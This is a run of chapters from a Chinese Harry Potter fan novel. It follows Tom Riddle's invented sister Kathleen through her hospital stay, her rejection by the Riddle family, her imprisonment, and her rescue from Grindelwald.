“你在奥利凡德魔杖店试魔杖的时候晕倒了。这件事被魔法部的人知道了,他们强行把你带了回去。” 哥哥的一番话直接交代了凯瑟琳最不想知道的后续。 “然后呢?”她略带颤抖的声音问道。 “自然是严加看管。”汤姆回答道,但是凯瑟琳敏锐地发现他的声音里居然含着一丝笑意。 “你笑了?”凯瑟琳扑过去想把他脸掰过来看,被汤姆轻轻推开。 “好吧,骗你的。”汤姆终于笑了,他转过身,快十六岁的少年长着妖孽般的神颜,有棱有角的侧脸印着一个温柔的笑。“算你运气好,你进入破斧酒吧的时候被正好被老板看见了,而我正好也是跟你前后脚进入对角巷买东西。在破斧酒吧的时候,汤姆——我是说酒吧的老板就告诉我他看到你先进去了。” “然后呢?那我的魔杖……” 汤姆的笑消失了。 “怎么?你还想着那个害人的魔杖?它差点要了你的命你知不知道?” “我不管!你告诉我我的魔杖呢?” “非要知道是吧?好,我告诉你,我把他扔回了那个老头脸上,叫他别再撺掇你买魔杖。以你现在的身体状况,每用一次魔法都是在拿自己的性命开玩笑!” 凯瑟琳低下了头,眼里忽然就蓄满了泪花,维持着最后的倔强。 “那就别管我……” “不管你?”头顶上传来一声嗤笑。“不管你,别说拿到魔杖,你现在已经被魔法部抓去当小白鼠了。他们会把你的脑子和肚子剖开,看看里面到底是哪里出了问题,能让你既用不了魔法又破坏力极强。” 凯瑟琳不说话。但是她似乎已经对买魔杖死心了。 两个人都没有说话,一阵沉默之后,凯瑟琳感受到哥哥的手轻轻擦过她眼下的泪珠。 “我把你送回了医院。放心,除了你旁边那个失忆老太,没人知道你出去过。按照那老太的失忆速度,很快也不会记得你今天出去了。 你就在医院好好住着,不要乱跑,再等等我。我会想办法救你出来的……” 又是一阵沉默。 “对了,我现在改名字了。” “什么?”凯瑟琳抬头看向哥哥。汤姆走到书桌前坐了下去,掏出了凯瑟琳送他的十五岁生日礼物——那本深蓝色封皮的日记本。 “我没事就在上面写写画画……然后我找到了一个很适合我的名字。” 凯瑟琳凑过去想看看,但是汤姆却很快地把日记本合上了。 “I am Voldemort.”他一字一顿地说道。“把我的名字字母拆开,再重新组合,得到的就是这个名字,伏地魔。”一边说,他一边抽出魔杖,在墙上挥舞了几下,他的名字字母开始变幻,最后变成了他刚才说的那个词。 “寓意是‘飞离死亡’?”凯瑟琳接话。 “真聪明。我的终极目标就是不死不灭,实现永生。”汤姆把目光方向窗外,月色映照在他的脸上,“和我一起永生吗,妹妹?你的名字里,不也含有‘杀死死亡’的含义吗?” “不了。” 一阵沉默之后,凯瑟琳忽然说道,像是下定了某种决心。 “什么?”汤姆本来舒展开来的神色又凝重起来。 “我说,我就算了。”凯瑟琳说,她扭过了头,避免和哥哥对视。 “与其丑陋地活着,不如有一个华丽的死亡。” * 六年级开学了,汤姆继续回到学校学习。由于他检举有功,外加迪佩特校长的偏爱,被学校赋予了一个特殊贡献奖,被放在了学校的奖杯成列室里面。 不过,他似乎更忙了,也似乎有了更多的秘密,并且在学校里,和他一伙的人们都在私下里喊他伏地魔。 尽管在孤儿院卧室那次争吵之后,他减少了凯瑟琳的意识链接,但并没有彻底放弃劝说凯瑟琳改变主意。 然而,汤姆的多次邀请都遭到了妹妹的拒绝,让他非常的生气,他完全不能理解凯瑟琳会和他们懦弱的母亲一样在“永生”这样的诱惑面前会坚定地选择接受“死亡”。凯瑟琳则认为哥哥对永生过于痴迷,不如接受事实。 两个人谁也不愿意为了自己的目标而先向对方妥协。几次之后,汤姆直接使用了大脑封闭术,除非他同意见凯瑟琳,不然无论凯瑟琳站在有求必应屋外面怎么捶墙,也找不到进去的门。 凯瑟琳从医院里醒来后本想给海格写信告诉他她不能替他买魔杖的事,但是又不想再次戳到海格的痛处,想来想去,看着窗外连绵的雨水,她给海格送去了一把伞。 亲爱的鲁伯: 谢谢你的问候。我在医院里过得很好,一日三餐都很丰盛。伦敦总是在下雨,不知道霍格沃茨最近怎么样。 我买了一把雨伞,希望你照顾好自己,保持身心健康,保持好心情。 替我跟阿拉戈克问好, 凯瑟琳 讲信件委托医院里的猫头鹰送走后没几天她就收到了海格的另一封信。他突发奇想,把自己断掉的一半魔杖替换成了伞的伞尖做成了一个隐蔽的魔杖。 看到这里,凯瑟琳才稍稍安心一些。 无聊的日子里,她总尝试和隔壁床的劳拉女士聊上几句。尽管并没有什么太多的收获,但是她明显感受到劳拉女士似乎在提到“里德尔”的时候已经能想起什么,但是抓不住那些信息。治疗师也发现了她记忆的缓慢恢复,厨房做的伙食愈发好起来,似乎这样就能唤醒她的记忆一样。 似乎是真的能唤醒她的记忆。 时间来到了1943年的圣诞节,医院里也有了一些喜庆的氛围。六楼的厨房给每个病房都准备了一只烤火鸡,其他的食物还包括烤香肠、姜饼人、焦糖布丁等等。劳拉女士被这样的美食弄得胃口大开、心情大好,混乱的语言也减少了。 “里德尔,我……我似乎在小汉格顿村也吃过这么一顿丰盛的晚餐。”她用刀切下一块火鸡吃着。 “小汉格顿?”这是凯瑟琳继“霍格沃茨”和“某某公园”听到的又一个新地名。 “正是……是呀,小汉格顿。啊!”她忽然大叫一声,凯瑟琳的叉子抖在 27. chapter26 《【hp】假如里德尔是个妹控》全本免费阅读 凯瑟琳选择不回答劳拉女士的问题。她没想过自己的母亲会对一个无辜的人痛下杀手,那时她才三十多岁,只想在里德尔府混口饭吃。就因为想要阻止她母亲使用邪恶的魔法,现在才五十多岁就已经头花灰白。 若不是她提起“里德尔”,或许她只会年复一年地吃着烤鸡,一边撒着胡椒粉一边拼命在混乱的记忆碎片中寻找着真实的记忆,却怎么也想不起来似曾相识的味道究竟是在过去的哪里品尝过。 接下来的日子是圣诞节假期,汤姆依旧选择了住校。凯瑟琳发现汤姆的意识似乎有意避着她的意识,这几天里除了她在平安夜唯一一次能够进入有求必应屋收到了汤姆的说他会留校的字条外,没有一天能够进入那扇门。 原因很明显。他们见面的时候,固执的兄妹俩谁也不肯为自己的决定道歉,凯瑟琳认为自己做的是正确的事,汤姆亦然。尽管他找了好几个话题,也没能提起他们五年级最后那段时间不堪回首的往事。除此之外就是在凯瑟琳在奥利凡德魔杖店晕倒的那一次,他没想到她会那么干脆地拒绝他的邀请,就像是永生是什么肮脏的东西。 能让他伏地魔碰一鼻子灰的人,恐怕只有他妹妹了。外加自从打开密室之后他迫切地研究起和“马沃罗”、“斯莱特林继承人”的一切信息,希望能解开自己的身世之谜,他便不再把精力放在妹妹身上——最起码,他认为圣芒戈是一个安全的地方。 然而,他的决定是失误的,因为凯瑟琳在圣诞节当天获得了有关他们身世的真实信息,但凡他能预知,但凡他没有故意使用大脑封闭术将凯瑟琳挡在门外,都能够提前不少得知自己的真实身份。 * “谢谢你,先生。”凯瑟琳说道。 她下了车,站在白雪覆盖的乡间小路上,星星在暗蓝的天幕上闪烁着微弱的光芒。村舍分布在窄道两旁,圣诞节饰品在窗口闪烁,前面不远处,金黄色的街灯指向村庄的中心,是一座美丽的教堂,她确信这里就是劳拉女士口中的小汉格顿村了。 令她更加确信的是,当她向司机打听村庄里是否有姓“里德尔”的人家后,司机几乎是毫不犹豫地告诉她,有,而且是最富有的人家。 凯瑟琳认为如果直接让司机把车停在里德尔府门口会是一件很不礼貌的事情,因此她决定从村口步行进去。 四周的店铺和酒吧都装饰着彩灯,一部分隐没在被风吹斜的圣诞树的阴影里。沿途有几家商店,一间邮局,一个酒馆和一座小教堂,时而传出笑声、音乐声以及酒馆大门开关的声音,然后教堂传出了颂歌,那教堂的彩色玻璃窗发出宝石般灿烂的光芒,在傍晚看起来格外动人。 然后,凯瑟琳便看到了位于教堂侧面的山坡上的一幢富丽堂皇的别墅,外带着一个华丽的庭院。 “里德尔府是一幢很漂亮的大宅子,还是方圆几英里之内最宽敞、最气派的建筑,坐落在一道山坡上,从这里可以看见整个村子。”凯瑟琳想到了司机的话,即使从远处看过去,也分毫不差。 除了感叹房子的气派,凯瑟琳心在狂跳着,那是一种奇异的感觉。她确信,无比确信,她马上就要见到她的爸爸了。 她的,亲生父亲。 司机说,里德尔府上住着男主人汤姆·里德尔,如今三十七岁的他依旧与他的父亲托马斯·里德尔和母亲玛丽·里德尔住在一起。自从十七年前那庄退婚的闹剧之后,英俊的汤姆似乎患上了一些心病,他拒绝婚配,选择当一个单身汉。 从劳拉口中,凯瑟琳对里德尔和她的母亲(她只知道叫冈特小姐)的关系不得而知,因为劳拉在冈特小姐和老汤姆确认关系之前就被她的一忘皆空咒击倒了,然后她就一直住在圣芒戈医院。 虽然凯瑟琳的脑海中有一个声音告诉她,她的父亲根本不爱她,十六年了,老汤姆从来没有到过伍氏孤儿院找过她。但是另外一个声音又说,或许她的父亲找过,只是他们不知道呢?或许是母亲为了报复而离开的老汤姆? 但是,如果母亲是个女巫,为什么会在生他们的时候去世呢? 反复纠结之间,她已经走上了山坡,来到了里德尔府的栅栏门前。房子里亮着灯,借着灯光,凯瑟琳发现庭院里还有一个人正在铲雪。 “嗨!”她鼓起勇气打招呼,“请问,你可以让我进来吗?” 那个正在专注铲雪的人这才抬起头看向凯瑟琳,“这……请问你是谁?我得去跟主人们汇报一下才行……” “不用汇报了——我叫凯瑟琳·里德尔,我是男主人的女儿啊!请你放心我不是坏人,你就让我进来,我只和里德尔先生说几句话就走。”凯瑟琳央求道。 或许是她在雪地里穿着单薄令人可怜,又或许是她的请求别人难以拒绝。那个园丁还是点了点头,他放下铲子,一瘸一拐地走到了庭院深处的小木屋里拿出了一串钥匙,然后一瘸一拐来到了栅栏边上为凯瑟琳开门。 “谢谢你!你人真好!”凯瑟琳感激地说,“你叫什么名字?” “弗兰克·布莱斯。”那个园丁简单地回答道,他带着凯瑟琳踩着雪,深一脚浅一脚地绕道后院,那边有一个门通往地下厨房。 “我只负责当个护院,所以不能送你进去了。你可以和下面的仆人们说一声,他们或许会带你去的。” 说着,他敲了敲那扇小门,过了一会儿,里面传来了嘟嘟囔囔的抱怨声,一个满脸赘肉的女人将门开了一个小缝。 “干什么啊?弗兰克?” “这里有一个自称是男主人女儿的人,她想和少爷说几句话。” “什么?我咋不知道少爷有妻子和女儿?”那个女仆不满地说,但怕耽误好事,还是把凯瑟琳让了进去。 “我是这里的女仆长,正好要给主人们送牛奶,你跟我走吧。”她上下打量了一番凯瑟琳,然后说道。 凯瑟琳紧跟着这个女仆上了楼,里德尔府里面的装修更是华丽,楼梯用的是最好的木材,扶手被仆人们擦得程亮,可以看到上面精美的纹路,楼梯周围挂着各类的画像——当然是不能动的,因为里德尔一家都是麻瓜。 到了二楼,这里是里德尔府的餐厅,有三个人正坐在华丽的餐桌前享用着摆满了一桌子的美食。 “主人,这是你们的牛奶,请慢用。”女仆长恭恭敬敬地说。 凯瑟琳的目光在餐厅中的三个人之间逡巡。看起来年老的两个很显然是她的爷爷奶奶,那 28. chapter27 《【hp】假如里德尔是个妹控》全本免费阅读 “醒醒!喂!” 凯瑟琳感觉有一个很大的声音正在她一只耳朵边叫嚷,还有一个人正在粗暴地敲着她身边的栅栏,发出“当当当”的声音。 “好吵……”她皱着眉喃喃地说,然后缓慢睁开了眼睛。 这是一个简陋而破败的房间。 不,这是一个牢房! 凯瑟琳忽然睁大了眼睛。 她被关起来了。 她艰难地扭头看向正在敲着栏杆的狱警,发现右半边脸依旧疼得厉害。记忆回笼,她这才响起来似乎是托马斯让马歇尔报的警,然后她被玛丽的盘子砸晕了,只是不知道她昏迷了多久。 狱警看见凯瑟琳醒了,就打开牢房把她从床上拽了起来。 “走,警长要审问你。给我老实点,别刷花招!” 他半拖半拽地把凯瑟琳带进了一个审讯室,这是一个黑暗的房间,里面只亮着一盏灯。照在警长的头顶,投下大片的阴影,看起来阴森森的,十分渗人。 狱警把人送到后就离开了,凯瑟琳走到对面的椅子上坐下。 凯瑟琳看着警长,他正在翻着卷宗。 “昨天晚上,里德尔家的女仆长已经把一切都跟我说了。你用了巫术,蛊惑了弗兰克和她给你开门带路,然后还想继续用巫术蛊惑汤姆·里德尔,让他认你做女儿。” “我没有,先生。我不会巫术。”凯瑟琳说道。 “闭嘴!这里没有你说话的份。”警长吼道。“但是值得庆幸的是,里德尔老爷和太太及时识破了你的诡计,才让你没有得逞。以上,我们以私闯名宅、扰乱公共秩序、行骗、使用巫术等十几条罪名将你收监拘留十年,如果让我们发现你在十年间尝试使用任何巫术或者骗术想要逃离监狱,那么你的刑期将变为无期!” * 凯瑟琳跌坐回简陋的床上。 她感觉自己的精神崩溃了。因为她什么也看不见、什么也听不见。 说不出是仇恨还是失望,泪水糊了她满脸。 原来,这才是真相。似乎以前的一切美好幻想都是那样的可笑。 一遍一遍地告诉自己母亲不是故意抛弃他们的,她或许只是生了一场病,或者她只是想气一气她的爱人,让他主动来找她。 一遍一遍地告诉自己,其实父亲一直都盼望了自己的孩子,他或许寻找过无数次自己孩子的下落,在过节的时候会牵挂着自己的孩子或许在某个地方挨饿受冻。 但是,全错了! 全错了! 他们的父亲一点也不在乎,母亲也一点也不在乎。 他们完全不期待他们的降生呢。 也完全不爱他们。 原来,真正的被抛弃,是这种感觉啊…… 只是因为他们是巫师吗? 只是因为会魔法吗? 她也不想啊! 她只想当一个平凡的麻瓜,能在父母的爱里面长大。这是也是一种奢求吗? 为什么麻瓜要憎恨巫师呢?那她她为什么要像小丑一样去祈求父亲能够爱自己? …… 黑雾吞噬了她的一切感知,她只知道自己被默默然控制了。 她的意识被锁在一个没有一丝光亮的房间里,天花板上飘着一些黑雾——她知道,那就是她的默默然。 “你放心把身心交给我就好了……”它的声音里满是蛊惑。“等到我获得了力量,我就会给你一切你想要的。” 凯瑟琳的意识想要离开这里,但是她被禁锢住了,黑雾裹挟着她,像是一个虚假的温柔乡,仿佛一切的恶意都被挡在了锁住的门外,只有默默然会永远陪着她,他们一荣俱荣,一损俱损。 * 时间倒回三天前。 圣诞节假期,凯瑟琳抓住时机准备溜出圣芒戈医院,午饭过后,劳拉女士在一旁吃着缤纷水果馅饼看着她把几个枕头塞进被子里伪装成睡觉的样子。 “好吧,好吧!里德尔,我只能帮你伪装几个小时。如果晚上他们喊你吃饭,我就说你已经睡着了,晚餐放在一边一会儿就吃掉。但是,你知道的,如果到明天早上早餐时间你还没回来,那我可就没办法帮你打掩护了啊!” 凯瑟琳自然是感恩戴德。在她走后,一封信就被护士送了进来,劳拉有些紧张,她快速地拒绝着馅饼,在护士的手快要抵达被角的时候,她出声说道:“算啦,别打扰她了。信就放桌上吧,她想要好好休息一下。” 护士惊奇地看了一眼劳拉女士,然后点了点头,把信放在了桌上就离开了。 “如果她醒了,记得让她早点读信,我看这是一封急件。”然后她又挠了挠脑袋,小声自言自语道:“算了,她能记得啥?” 不过,在劳拉的催促中,她还是离开了病房。 不幸的是,凯瑟琳第二天早上依旧没有回来,劳拉女士看到一样形状的被子,担忧地叹了口气。 < 29. chapter28 《【hp】假如里德尔是个妹控》全本免费阅读 圣诞节假期的最后一天晚上,学校里并没有几个学生已经回来,写着“变形术教授-阿不思·邓布利多”的门里传来争吵声。 “听着,我不能立刻去参加他的葬礼,阿不福思。如果这件事被闹大,格林德沃会很快来到英国。” “你这是什么理论?怕他挖坟吗!?” “正是。但是他甚至会有更可怕的打算。” “阿不思!别忘了他是你侄子!” 随着阿不福思的一声怒吼,邓布利多办公室的门被“砰”的一声摔上,阿不福思怒气冲天地离开了霍格沃茨。 他一路快速地回到了霍格莫德村猪头酒吧的二楼,金发的阿莉安娜画像正在朝他微笑着,画像前面是一口朴素的棺/材。阿不福思知道里面躺着的是谁,眼泪不由自主地就落了下来。 这时,堆着厚厚污垢的窗户被敲响了,一只猫头鹰正在窗外扑腾着翅膀。 阿不福思认出这是属于圣芒戈医院的猫头鹰,赶忙把它放了进来。 猫头鹰丢下信件之后又飞走了。 阿不福思耐着性子捡起地上的信封,发现那居然是他寄出的那封(只不过被拆开了,上面还沾着一些食物油渍),他走回自己的房间,坐到书桌前,把信纸掏了出来。 羊皮纸的正面是他在悲伤中写的简短的通知,但是当他翻到背面看到熟悉的字体的时候,浑身都战栗了起来。 熟悉的字体,但是比以前看起来更潦草,看起来就像是很久没有提笔写字一样,信纸上沾着一些油油手指印,以及最后工整得像孩子写的一样的签名“Laura”……这一幕幕似乎都让他回想起了四十多年前的短暂的浪漫,以及,他儿子一辈子的悲剧。 他恨她至极,他想要一辈子都不原谅她,但是他不知道她为什么会出现在圣芒戈医院,以及她是什么时候回的英国。 还有,她这是失忆了吗?怎么居然说她不认识他? 但是很快他就回过神来,发现了这封回信的重点:凯瑟琳溜出医院了,去了小汉格顿。 * 所以,阿不福思又坐回了哥哥办公室里的那把椅子。这一回,多出了凯瑟琳的哥哥汤姆·里德尔站在阿不思的身边,而他的哥哥阿不思则告诉了他一个坏消息,一直以来他最担心的事情发生了:凯瑟琳被闻讯回英国格林德沃抓住了。 “什么?”阿不福思难以置信地大叫。 “是的。我真的没想到……”阿不思用手捂着眼睛,似乎非常头疼,“他太聪明了,消息太灵通了——也可能是在我们带走奥瑞利乌斯之前在他身上做了手脚,他一断气,他就能知晓。” 阿不福思迟疑地盯着他的哥哥。 “而现在更糟糕的事情发生了……” “因为他发现了凯瑟琳默默然的力量,并且抓住了凯瑟琳。”阿不福思接话道。 “正是。你刚才过来,说是收到了劳拉的信?凯瑟琳去了小……小汉格顿?” “是的,劳拉是这么写的。”阿不福思特意强调了这只是劳拉的说辞。 “我查了一下麻瓜的报纸,然后发现前两天有一则新闻报道似乎是相关的。”阿不福思说着,从自己的桌上拿起了那张报纸递给阿不福思。“上面写的是不明的黑色雾气冲破了汉格顿监狱,监狱坍塌导致里面的囚犯全部死亡,以及当天值班的所有狱警和贝尔警长丧生。目前尚未查明黑色雾气的来源是什么,只是谣传是巫术作祟。” 阿不思正说着,他身后的那个少年不耐烦地跺了跺脚。“先生,我们什么时候才开始制定营救计划?” “噢,抱歉,里德尔。我想至少得让我弟弟了解前因后果,他是出色的凤凰社成员,在对抗黑魔王的时候,我必须和他商量。”阿不思温和地说。 “好了,看完了。”阿不思话音刚落,阿不福思就说道。“这件事无疑是她的默默然干的。” “想必魔法部当魔法部看到这条新闻的时候一定快气疯了吧,伦纳德一直致力于让麻瓜和巫师和平相处,现在死了那么多麻瓜……联想到巫术也正常……唉,谁能明白这是身不由己所为?”阿不福思顿了顿,然后感受到了来自汤姆·里德尔灼热的视线,叹了一口气对阿不思说道:“好了,你有计划吗?” 阿不思拍了拍里德尔的背,眼睛里蕴藏着一些审视。“这个孩子告诉我,他能够用意识和他的妹妹沟通,我想我们得先了解凯瑟琳现在的处境才行。” “是的。”汤姆的语气里隐藏着骄傲,但又十分谨慎,似乎在斟酌着应该透露多少。 “那么,你上次跟她沟通是什么时候呢?”邓布利多锐利的蓝眼睛死死盯着汤姆。 “大概,圣诞节的时候吧。”汤姆用毫不示弱的目光回敬邓布利多。 “圣诞节?那她有没有跟你说过什么她要去干什么之类的话?” “自然是没有。我当时并没有察觉她的异常,不然我一定会阻止她的,先生。” “那你现在能试试和她的意识说上话吗?” “说实话,我没有试过在白天就这么做。但是现在情况紧急……让我试一试吧。” * 克雷登斯的房子有一个密码锁,密码是6329。 这个默然者的房子是一个锁,是三条互相缠绕的蛇,蛇眼是由六颗红宝石制成的。 对于一个巫师来说,要进去很简单。 “阿拉霍洞开!” “阿拉霍洞开!” “阿拉霍洞开!” 格林德沃狠狠锤了一下门,这才意识到魔咒在意识里不能生效。心上的锁也不能用魔咒来破坏。 他似乎像是无助一般地看四下看了看,纳吉尼已经永久变成了蛇,她已经彻底失去了“人性”,因此无法进入人的意识链接;他没有能力和真正的蛇沟通,自然不能命令纳吉尼进入意识来打开这扇门。 “该/死/的,不会正好是个蛇佬腔吧。”他低声抱怨道,如果真的是,那么如此诱人的力量,他却无法获得。 如果他能早些明白,他在骷髅里看到的零星画面指向的正是这个新的默然者的存在,并像和克雷登斯那样从很早开始使用套近乎、培养感情和洗 30. chapter29 《【hp】假如里德尔是个妹控》全本免费阅读 这是汤姆第一次主动走进妹妹的内心。 过去,都是他邀请妹妹进入他所创造好的场景,比如有求必应屋,比如伍氏孤儿院的房间,比如图书馆……就连他自己也不记得自己内心最初是什么样的了。当然,他也从未关注过妹妹的内心是什么样,直到他被邓布利多告知妹妹被格林德沃抓走。 进入厚重的门,当门外最后一束光亮消失,房间内只剩下是无边无际的黑暗。 汤姆没有使用荧光闪烁,因为知道这在默然者的意识里并不存在。相反,他闭上了眼睛集中注意力,他能感受到和他流着共同的血液的那个人就在房间里。 他看到了。 像小时候那样,那个小女孩抱着膝盖蜷缩在黑暗房间最里面的墙角,当他闭上眼睛的时候,反而能够看得清楚,小女孩穿着白色的小裙子,让那片角落显得很亮。 他闭着眼朝那个方向走去。 穿白裙子的小女孩身边散发出的微弱白光照亮了一小块的墙壁,她正侧着脸观察即将脱落的墙皮,随着他的靠近,能越来越清晰地看到。女孩伸手触碰了那个由于重力而耷拉着的墙皮,有墙灰簌簌地落到地上,落在女孩的脚边。 这个场景他似曾相识,但又似乎是一个很久远的记忆。 凯瑟琳被麻瓜袭击之后,他放出毒蛇报复那几个麻瓜。事情办完,他得意地返回伍氏孤儿院。他推开门进去,正好看见妹妹正在扣着墙皮,墙灰落在了床上。 “哥哥,你去哪啦?” “科尔夫人让我去劳动。”依旧是脸不红心不跳地对妹妹撒谎。 “下次不准不辞而别了!你知道我有多慌张吗?我以为你,以为……”她带着哭腔焦急地扑到他怀里。 “这有什么好紧张的。”他摸着妹妹的头问。 “不行,反正我不能离开你。”她说。 她说,她不能离开他。 他的心似乎就在那一刻被人取走了。 那种感觉是很特殊的,为了不让妹妹紧张,他之后的近十年里都陪在妹妹身边。 尽管他在后来不断地收到来自各种纯血女巫的情书,诉说着她们有多为他英俊的外貌而着迷,诉说着对他的爱慕和敬仰,诉说着她们一刻也离不开他,他的心也毫无波澜。 没有为什么。 “哥哥,你怎么进来的?” 一个声音打断了汤姆的回忆,他的意识睁开了眼睛。凯瑟琳的意识就坐在地上,非常惊喜地看着他。 “我说‘开门’,门就自己开了。”汤姆轻松地说道。 不过他也没说错,想要开门很简单,他一见到这扇门就明白了“钥匙”是什么;而某个自诩二十世纪最伟大的黑魔王,却在门口急得团团转。 汤姆走到凯瑟琳面前蹲下,好让凯瑟琳能与自己平视,然后,他发现凯瑟琳的情况可谓是糟糕,她的右半边脸肿了起来,虽然房间里很黑,但也能隐隐看到血痕,她看起来无精打采,却因为他的到来而强打精神。 他修长的手轻柔地拂过妹妹的右脸,本想掏出魔杖治疗,但又想起来在这里施不了魔法。 “谁干的?”他的声音带着一些颤抖,怒意正在被一寸寸点燃。 如果是格林德沃那个老家伙,他不介意马上醒来,就算是硬拽着邓布利多也要马上去找他决斗。 “是……是……”凯瑟琳双手捧住哥哥的手,想到她的奶奶那天的话,眼泪不受控制地流下来。“哥哥对不起,我没有听你的话……我那天跑了出去,去见我们的爸爸……” “什么?”汤姆震惊了。 “他叫汤姆·里德尔,跟着父母住在小汉格顿,园丁带我进去之后,他们不相信我说的,奶奶说我是个巫婆 31. chapter30 《【hp】假如里德尔是个妹控》全本免费阅读 当凯瑟琳踏出房间的那一刻,她的意识消失在亮光里,转而躺在床上的女孩睁开了眼睛。 这是一个陌生的地方,凯瑟琳想起哥哥交给自己的任务,吃力地从床上坐起来环顾四周。 床单是印花的,看起来似乎充满了少女心,房间的门上采用了圆顶拱门的设计,不仅具有视觉延伸感,还能引导视线,让人仿佛置身于一个华丽的殿堂之中;棕色的木质地板,与白色的墙壁形成对比,使得整个空间看起来更加和谐统一。 这么看来,这个房子的装修者还是一个极有品味的人。凯瑟琳心里暗暗想。 她转过头,看向床边的窗户,白色不透光的天鹅绒床帘被拉开,窗外是被皑皑白雪覆盖的山谷,树林里时而传来鸟叫。 看来依靠仅有的线索,她完全不能推断出自己身处何方。 “她醒了,我得赶紧去告诉主人。” 一个嘶嘶的声音从床底下传来,像是自言自语。 凯瑟琳扭回头朝床下看去,正好和一条绿色的巨蟒对上视线。 “哎呀,居然被发现了。”那个嘶嘶的声音继续说道,完全没有被发现了的慌张。 凯瑟琳看着那条巨蟒,它的身躯有比碗口还粗,一双黄色的蛇眼正审视着凯瑟琳,似乎在好奇她下一步的动作,嘴里——嘴里还叼着一个金色的挂坠盒,那正是她一直随身携带的那个挂坠盒。 “这是我的,还给我。”凯瑟琳用蛇佬腔对这条蛇命令道。 这条蛇虽然满脸的不情愿,但是对于蛇佬腔的绝对命令,它不得不把挂坠盒吐了出来。凯瑟琳眼疾手快地捡起来,拿起床单擦了擦,收进自己的衣服口袋。 那条蛇想趁凯瑟琳擦洗挂坠盒的时候离开,却在到门口的时候听见了凯瑟琳的命令, “回来,不许去。” 没办法,它只能游回凯瑟琳身边。 “告诉我,这里是哪里?” 那条蛇似乎很不情愿回答,但是挣扎了半天,还是不得不回答, “戈德里克山谷。” 凯瑟琳皱了皱眉,她倒是在图书馆里查阅过相关的书籍,知道这个山谷是以格兰芬多的创始人的姓氏命名的,邓布利多家族也住在这里。 格林德沃居然敢藏在这里,难道他真的相信“灯下黑”,邓布利多一定找不到他? 凯瑟琳本想把擦干净的挂坠盒放进口袋里,但是想到前面就因此不知道在什么时候掉了出来,便决定重新戴回脖子上。 “格林德沃呢?” “你怎么敢——”那条蛇似乎暴跳如雷,但是嘴巴像是被缝住了一样无法说出任何对斯莱特林继承人不敬的话,“我不知道他在哪。”它如实说道。 “那你叫什么名字?” “纳吉尼。”那条蛇说。 凯瑟琳戴挂坠盒的动作一顿,她的记忆的某一处似乎被唤醒了。那个虚弱的男人说他有一个朋友是一个血咒兽人,可以变成蛇;他很关心她在哪里,过得好不好;他一直念叨着纳吉尼,时而说自己对不起纳吉尼,时而说他一时糊涂而抛弃了自己最珍贵的朋友,与他一开始“最终走散”的说辞并不一致…… 克雷登斯和纳吉尼后来到底发生了什么呢?就连阿不福思也缄口不提,究竟是一件什么事情呢? 直觉告诉凯瑟琳,眼前的这条蛇就是人变的,而并不是格林德沃故意给它起的这个名字。 “那么……你能变成人吗?” 凯瑟琳在问这句话的时候没有用蛇佬腔,纳吉尼便扭过头去不理她。 “变成人!”凯瑟琳又用蛇佬腔说了一遍。 “没用的。”纳吉尼终于开口了,“就算你命令我,我也变不回去的。血咒已经生效,我现在只剩下蛇这一个形态了。” “那你还记得‘克雷登斯’这个人吗?”凯瑟琳感到很意外,但是她更好奇纳吉尼是否还保留着人类时的记忆。 “克雷登斯?没印象。”纳吉尼的声音冷冰冰的,不过可以肯定不是装的。似乎是看透了凯瑟琳的疑惑,她又解释道,“当我完全变成一条蛇的时候,我以前作为人类的记忆就会消失,只剩下作为蛇的情感和记忆。” “原来如此……”凯瑟琳面露遗憾,她想到了克雷登斯 32. chpater31 《【hp】假如里德尔是个妹控》全本免费阅读 坐在邓布利多椅子上的汤姆·里德尔终于睁开了眼睛。 他告诉邓布利多,凯瑟琳被格林德沃关在了戈德里克山谷的一幢房子里。似乎是他姑婆“巴希达”的家。 在听到巴希达这个名字的时候,汤姆敏锐地察觉到邓布利多兄弟俩的脸色都变了一瞬。 “怎么了,先生?”他问。 “没什么。”阿不思平静地说。但是汤姆认为他是在故作轻松罢了,因为他没有看汤姆的眼睛。 “好了,里德尔,你该回去上课了。我和阿不福思马上出发。”邓布利多拍着汤姆的背说道。 “为什么?我的妹妹我不能跟着去救他们吗?”汤姆显得非常恼怒。 “我很抱歉,”阿不思对汤姆说道,“学校里有规定,并且,我们做教师的有义务保证每一个学生的安全,直接面对黑魔王这种事情,在校学生不能做。” 他的语气不容置喙,但又暗含着一些警惕,就像是刻意想要避免汤姆见到黑魔王一样。 “我知道了。”汤姆从椅子上站了起来,他低着头,看起来已经明白,但是紧攥的双手和抿着的嘴唇预示着他的不甘。“先生。”他补充道。 阿不思点了点头,“很好,里德尔先生。在学校里好好学习,我们会很快带回你的妹妹的。” * 待邓布利多兄弟离开,汤姆并没有回到斯莱特林的休息室,而是紧随其后溜出了城堡。他对自己施了一个隐身咒,快速地跟在两人身后离开了霍格沃茨。 邓布利多兄弟使用了幻影移形,汤姆并不慌张,他举起魔杖召唤了骑士公车,要求他们把他送到戈德里克山谷巴希达的家附近。 …… 邓布利多兄弟在彩窗教堂前显形,他们一前一后地走过几幢房屋,然后进入了一扇大门。施了隐身咒的汤姆跟着他们,顺着前面被积雪覆盖的石头小路,穿过因为积雪而白茫茫一片的花园,最后,两兄弟在门口站定,开始敲门。 过了好一阵子,才有一个花白头发的老太太打开了门。 “谁呀——啊?阿不思?阿不福思?你们怎么来了?”她的神情看起来非常的意外,但是还带着明显的慌张。 “巴沙特女士……请问格林德沃是不是回来了?”阿不思开门见山地问道。 “啊,这个——”巴希达转了转眼珠,但是她的神情早已出卖了她。“你在说笑吗?阿不思。盖勒特自从那年——自从那次之后就再也没有回来过了。”她双手撑着门框站着,但是身材十分矮小,只到邓布利多兄弟肩膀的位置,但还是固执地没有让位置。“我屋里有些凌乱,这次就不请你们进去坐了哈……要喝点什么吗?我去端给你们。” 很显然,格林德沃确实就藏在巴希达家里。 阿不思给阿不福思使了一个眼色,阿不福思就先行离开了,而阿不思则留在门口等着巴希达进去“泡茶”。 汤姆跟着阿不福思绕到了后院,然后他看到阿不福思从拎着的手提箱里取出一个扫帚,飞到了屋顶的那间房子里——她的妹妹正趴在窗口,那时他们约定好的显示她位置的方法。 凯瑟琳似乎在跟屋内的一条蛇交谈,想要劝说阿不福思把这条蛇也带走,但是最终那条蛇也没有出来。 看到阿不福思带着凯瑟琳坐着扫帚离开了巴希达的院子,汤姆又绕回前院,邓布利多似乎已经知道凯瑟琳被接走,但是还是装作口渴的样子等待着。巴希达还没有回来,很显然是去跟格林德沃通风报信去了。 而汤姆则抢在阿不思准备回霍格沃茨之前离开了巴希达的房子。他已经记住了这个地方,下次他也可以使用幻影移形直接到这里来打探那条蛇的消息了。 * 